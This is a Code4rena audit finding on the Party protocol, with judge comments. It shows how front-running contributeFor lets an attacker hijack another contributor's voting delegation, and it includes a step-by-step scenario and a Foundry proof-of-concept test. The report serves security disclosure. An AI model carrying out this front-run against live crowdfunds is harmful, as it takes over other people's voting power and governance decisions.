PartyGovernanceNFT.sol#mint - User can delegate another user funds to themselves and brick them from changing the delegation

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L194-L198

Vulnerability details

Impact

The natural flow of minting a new Card is through contributing to the Crowdfund. The protocol also allows users to contributeFor in the name of someone else.

Let's follow the flow of the contributeFor:

The function immediately calls _contribute

function _contribute(
        address payable contributor,
        address delegate,
        uint96 amount,
        uint256 tokenId,
        bytes memory gateData
    ) private returns (uint96 votingPower) {
        // Require a non-null delegate.
        if (delegate == address(0)) {
            revert InvalidDelegateError();
        }

        // Must not be blocked by gatekeeper.
        IGateKeeper _gateKeeper = gateKeeper;
        if (_gateKeeper != IGateKeeper(address(0))) {
            if (!_gateKeeper.isAllowed(msg.sender, gateKeeperId, gateData)) {
                revert NotAllowedByGateKeeperError(msg.sender, _gateKeeper, gateKeeperId, gateData);
            }
        }

        votingPower = _processContribution(contributor, delegate, amount);
        ...

Some checks are done, then we call _processContribution.

function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }
     ...

Inside we see this if/else statement. It allows for anyone to set delegate for a user, but only if oldDelegate == address(0), meaning it's never been set before. If msg.sender == contributor he can still set the delegate to whoever he wishes, anyone else calling contributeForafter the original contributor has delegated, can't change the delegate.

The rest of then function finishes and we go back to _contribute after which we call party.mint.

Inside mint we see the following.

        ...
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }
        ...

Here we check if delegationsByVoter[owner] != address(0), meaning this is the first time a deleagte is being set, if a delegate already exists we set the new delegate to the old delegationsByVoter[owner].
This is where the problem lies, note that this function doesn't take into account if msg.sender == contributor, so once delegationsByVoter[owner] is set, there is no changing it through the mint function again.

So let's imagine the following scenario:
maxTotalContributions = 20 ether.

1. Users already contributed 5 ether to the crowdfund.
2. Bob decides to contribute another 15 ether to finalize it early, and sets himself as initialDelegate.
3. Alice being malicious, front-runs Bob's contribution with contributeFor{value: 1 }(0, payable(address(bob)), address(alice), ""); setting Bob's delegate to herself.
   At this point delegationsByVoter[bob] = alice
4. Bob's contribution passes, but inside mint we hit this:

        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

Since Bob already has a delegate, he can't change it here, so Bob's delegate gets overwritten to Alice and he is unable to change the delegate.

5. All of Bob's 15 ether get delegated to Alice inside _adjustVotingPower
6. After this the crowdfund finalizes and the Party starts.
7. At this point Alice can propose/accept with a huge amount of voting power that was never intended for her and she can influence proposals that she shouldn't be able to.
8. Bob can get his delegation back by calling delegateVotingPower, but Alice will have enough time to influence the Party.

Note that this way a 51% attack can easily be executed by a malicious user. A malicious user can steal multiple delegates this way and influence the Party greatly.

Proof of Concept

 function _createCrowdfundWithAuthorities(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        partyOpts.authorities = new address[](1); // Set the authority to address(this) for testing purposes
        partyOpts.authorities[0] = address(this);

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_stealingDelegations() public {
        InitialETHCrowdfund crowdfund = _createCrowdfundWithAuthorities(
            CreateCrowdfundArgs({
                initialContribution: 0, 
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false, 
                minTotalContributions: 5 ether,
                maxTotalContributions: 20 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            }), true
        );
        Party party = crowdfund.party();

        // Charlie contributes to the Crowdfund
        address charlie = _randomAddress();
        vm.deal(charlie, 10 ether);
        vm.prank(charlie);
        crowdfund.contribute{value: 5 ether }(address(charlie), "");

        address bob = _randomAddress();
        // Alice front runs Bob's contribution, setting herself as Bob's delegate
        address alice = _randomAddress();
        vm.deal(alice, 5 ether);
        vm.prank(alice);
        crowdfund.contributeFor{value: 1 }(0, payable(address(bob)), address(alice), "");

        // Bob contributes and finalizes the crowdfund, not knowing
        // that he just contributed all of his voting power to Alice
        vm.deal(bob, 15 ether);
        vm.prank(bob);
        crowdfund.contribute{value: 15 ether }(address(bob), "");

        // Here we can see that Alice has `15e18` voting power, even though she should have only `1 wei`
        assertEq(party.getVotingPowerAt(address(alice), uint40(block.timestamp)), 15 ether);
        // Even though Bob set himself as the delegate, he has 0 voting power, because his
        // delegation got overwritten
        assertEq(party.getVotingPowerAt(address(bob), uint40(block.timestamp)), 0);
    }

Tools Used

Manual review
Foundry

Recommended Mitigation Steps

We recommend removing the contributeFor function.

Assessed type

Other

[ydspa]

Plz refer

File: contracts\party\PartyGovernance.sol
451:     function delegateVotingPower(address delegate) external {
452:         _adjustVotingPower(msg.sender, 0, delegate);
453:     }

Invalid

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[gzeon-c4]

The warden described a potential griefing vector where an attacker (Alice) can temporarily steal the delegation from another user (Bob) who contributed for a user (User).
The delegation power would be temporarily stolen at no cost until the User re-delegate.

[c4-judge]

gzeon-c4 changed the severity to 2 (Med Risk)

[c4-judge]

gzeon-c4 marked the issue as primary issue

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 marked the issue as selected for report